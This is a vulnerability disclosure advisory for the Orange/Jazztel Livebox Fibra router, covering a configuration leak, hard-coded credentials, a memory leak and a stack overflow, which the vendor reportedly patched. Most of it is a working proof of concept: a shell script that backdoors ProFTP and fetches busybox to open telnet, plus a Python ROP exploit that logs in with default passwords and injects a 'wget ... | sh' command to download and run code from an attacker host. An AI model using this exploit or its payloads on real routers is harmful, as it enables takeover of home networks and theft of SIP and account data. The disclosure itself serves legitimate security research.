SSD Advisory – Livebox Fibra (Orange Router) Multiple Vulnerabilities

Vulnerabilities Summary
The following advisory describes four (4) vulnerabilities found in Livebox Fibra router version AR_LBFIBRA_sp-00.03.04.112S. It is possible to chain the vulnerabilities into remote code execution.

The "Livebox Fibra" router is "manufactured by Arcadyan for Orange and Jazztel in Spain"

The vulnerabilities found in Arcadyan routers are:

- Unauthenticated configuration information leak
- Hard-coded credentials
- Memory leak
- Stack buffer Overflow

Credit
An independent security researcher has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
Arcadyan and Orange were informed of the vulnerabilities and patched them.

Vulnerabilities details
Unauthenticated configuration information leak and weak usage of default users

The "Livebox Fibra" router web server does not properly filter GET request, an unauthenticated user can send the following GET request and get the configuration file from the router:

```
`http://IP/cgi/cgi_network_connected.js`
```

The router uses an insecure way to get the configuration variables, it loads JavaScript files dinamically that set JS variables with the router configuration information.

Hard-coded credentials
Default users that can be used to log in in the router's website is: `ApiUsr` , with the password `ApiUsrPass` and `orangecare` with password `orange` .

Memory leak
The router's web server allows to configure multiple configuration variables.

In order to configure one of those variables, it makes a POST request like the following:

```
```
POST/apply.cgi HTTP/1.1
Host:192.168.1.1
Accept-Encoding:gzip,deflate
Connection:keep-alive
Proxy-Connection:keep-alive
Accept:*/*
User-Agent:A
Accept-Language:es-ES;q=1
Content-Length:400
pi=[CSRF_TOKEN]&SET0=[CFG_VAR_ID]%3D[CFG_VAR_VALUE]
```

```

CSRF_TOKEN – CSRF Token that changes for every POST request (We can generate a new token and use it in a new request on: http://IP/cgi/renewPi.js)

CFG_VAR_ID – identifies the configuration variable that you want to modify (It changes at the same time that the CSRF_TOKEN changes). We can get the CFG_VAR_ID values from `http://IP/cgi/cgi_sys_smtp.js`

CFG_VAR_VALUE is the new value for the configuration variable

In order to trigger the vulnerability, we sent a POST request to change the configuration (with correct "pi" and CFG_VAR_ID") and a greater "Content-Length" for the request.

The server uses the "Content-Length" calculate the length of the new value and then it uses the calculated size in "strncpy".

We can play with information in the POST request in order to achieve that "malloc" allocates our configuration value in an interesting zone in memory.

The server correctly allocates memory for our new value, but in order to read and save the new configuration value, it reads out of bounds due to a bad calculation of the length (based on the "Content-length" header).

Stack buffer Overflow

The router's has an API that provides the configuration variables values in JSON – It is used by the smartphone app, called 'Mi Livebox'.

"/API/Services/Notifications/EmailNotification" returns a JSON object with the email address configured to receive notifications when a new device connects to the network or when a new phone call arrives.

The function is vulnerable to buffer-overflow in the URL request parser

If we make a request like the following we will triage the vulnerability:

```
1  `http://IP/API/Services/Notifications/[A repeated 243 times]`
```

We overwrite the following registers (MIPS Big Endian): s0, s1, s2, s3 and ra. Since we control **ra** we can control the flow of the program and jump to our shellcode.

In order to exploit this vulnerability we have two problems:

- ASLR
- We cannot use special bytes on our exploit (spaces, null bytes..)

This vulnerability is not exploitable by itself, but we can use the memory leak explained before in order to leak some memory address and calculate the Libc base.

Then, we can use ROP gadgets from the libc or another lib, and finally get remote code execution.

Proof of Concept
pwn

```
1   #!/bin/sh
2   remoteServer="192.168.1.63:8000"
3   # Create an user in the ProFTP Server with write privileges in /
4   echo"x::0:0::::sh">>/ramdisk/etc/proftpd/passwd
5   sed-i's/DenyAll/AllowAll/'/etc/proftpd/arc_proftpd.conf
6   killall proftpd
7   sleep1&&proftpd-c/etc/proftpd/arc_proftpd.conf&
8   # Download busybox with telnetd and start
9   cd/bin
10  wget http://$remoteServer/busybox-mips
11  chmod+xbusybox-mips
12  busybox-mips telnetd
13  # Download leak SIP HTML to provide an easy way of getting the SIP data
14  cd/www
15  wget http://$remoteServer/leak_sip.htm
16  # restart server
17  killall arc_httpd
18  sleep1&&arc_httpd
19
20
21
22
23
```

exploit

```
1   from pwn import *
2   import hexdump
3   import urllib
4   import requests
5   import socket
6   context.endian='big'
7   context.arch='mips'
8   # Command to execute
9   cmd="wget${IFS}-O${IFS}-${IFS}http://192.168.1.63:8000/pwn|sh"
10  routerIP="192.168.1.1"
11  routerPort=80
12  def autoconnect():
13  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
14  s.connect((routerIP,routerPort))
```

```
returns
#########################################################
# Log In (using default usr and pass...) and get PI and cfgId
#########################################################
# 1. Log In
s=autoconnect()
s.sendall('''POST /login.cgi HTTP/1.1
Host: 192.168.1.1
Proxy-Connection: keep-alive
Content-Length: 29
Origin: http://192.168.1.1
User-Agent: A
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://192.168.1.1/top.htm
Accept-Encoding: gzip, deflate
Accept-Language: es,en;q=0.8,gl;q=0.6
Cookie: menu_sel=0; menu_adv=0; defpg=status%2Ehtm; urn=
GO=&usr=ApiUsr&pws=ApiUsrPass''')
s.close()
# Get URN (necessary cookie)
r=requests.get("http://"+routerIP+":"+str(routerPort)+"/status.htm")
r=r.text
URN=re.search("new\_urn = \'([a-zA-Z0-9]+)\'",r).group(1)
print"[+] URN:",URN
print"[+] Logged in"
raw_input("Are you sure you want to continue? Press Enter to continue.")
print"[+] Getting PI and cfgId..."
# 2. get PI
r=requests.get("http://"+routerIP+"/cgi/renewPi.js",cookies={"urn":URN})
r=r.text
pi=r
print"[+] PI: ",pi
# 3. get cfgId
r=requests.get("http://"+routerIP+":"+str(routerPort)+"/cgi/cgi_sys_smtp.js",cookies={"urn":URN})
r=r.text
cfgId=r[r.find("to\",")+4:]
cfgId=cfgId[0:cfgId.find(",")]
# s.close()
print"[+] cfgId: ",cfgId
#########################################################
# Exploit memory leak on email out-of-bound copy on strncpy; which uses Content-Length
#########################################################
i=1
dd="A"
padding="A"*i
print"[+] Trying with",i,"bytes of padding.."
r=requests.Request('POST','http://'+routerIP+':'+str(routerPort)+'/apply.cgi',data='pi='+pi+'&'+padding+'&SET0='+cfgId+'%3D'+dd,cookies={"urn":URN})
r=r.prepare()
r.headers['Content-Length']=i+90
sess=requests.Session()
sess.send(r)
print"[+] Memory leak exploited"
#########################################################
# Get the leaked memory address
#########################################################
r=requests.get("http://"+routerIP+":"+str(routerPort)+"/cgi/cgi_sys_smtp.js",stream=True,cookies={"urn":URN})
r=urllib.unquote(r.raw.data)
r=r[r.rfind("sendto = \"A")+12:]
hexdump.hexdump(r)
# Check if the address we leaked is the address we need to calculate offsets
ifr.rfind("\xd8")>=0and(r.rfind("\x77")>=0orr.rfind("\x76")>=0):
# the end of the address must be 0xdc and the start 0x77 or 0x76
addressFound=True
end_leak=r.rfind("\xd8")
elifr.rfind("\xf0")>=0and(r.rfind("\x77")>=0orr.rfind("\x76")>=0):
# the end of the address must be 0xdc and the start 0x77 or 0x76
addressFound=True
end_leak=r.rfind("\xf0")
else:
print"[-] Bad leaked address."
print"[-] Restart your router and retry. DO NOT ENTER TO YOUR ROUTER WEBSITE BEFORE RUNNING ME!"
exit(1)
```

```
LEAKED_ADDRESS=(r[end_leak-3:end_leak+1]).encode('hex')
LEAKED_ADDRESS_LAST_BYTE=int('0x'+(r[end_leak-1:end_leak+1]).encode('hex')[1:],16)
LEAKED_ADDRESS=int(LEAKED_ADDRESS,16)
print"[+] Leaked address: ",hex(LEAKED_ADDRESS),hex(LEAKED_ADDRESS_LAST_BYTE)
#########################################################
# Exploit Stack Buffer overflow on API path
#########################################################
LIBC=LEAKED_ADDRESS-(0x2C000+LEAKED_ADDRESS_LAST_BYTE)#0x2C5D8 # 0x773DC # 0x774EC
EXEC=LIBC+0x00058830
EXEC_COMM=LIBC+0x00023fac# it is a function like "system" :)
print"[+] LIBC address: ",hex(LIBC)
ifhex(LIBC)[-2:]!='00':
# LIBC base must end with 00
print"[-] Bad LIBC address."
print"[-] Restart your router and retry. DO NOT ENTER TO YOUR ROUTER WEBSITE BEFORE RUNNING ME!"
exit(1)
# 0x00049488: addiu s7, sp, 0x10; move a0, s7; move t9, s0; jalr t9;
ROP1=LIBC+0x00049488
payload='A'*237
payload+=p32(EXEC_COMM)# s0
payload+='s1s1'# s1
payload+='s2s2'# s2
payload+='s3s3'# s3
payload+=p32(ROP1)# ra pc
payload+='Z'*0x10
payload+=cmd+';'
s=autoconnect()
s.sendall('''GET /API/Services/Notifications/'''+payload+''' HTTP/1.1
Host: 192.168.1.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: A
Accept-Language: es-ES;q=1
Authorization: Basic A''')
s.close()
print"[!] All exploited, the command should have been executed.."
```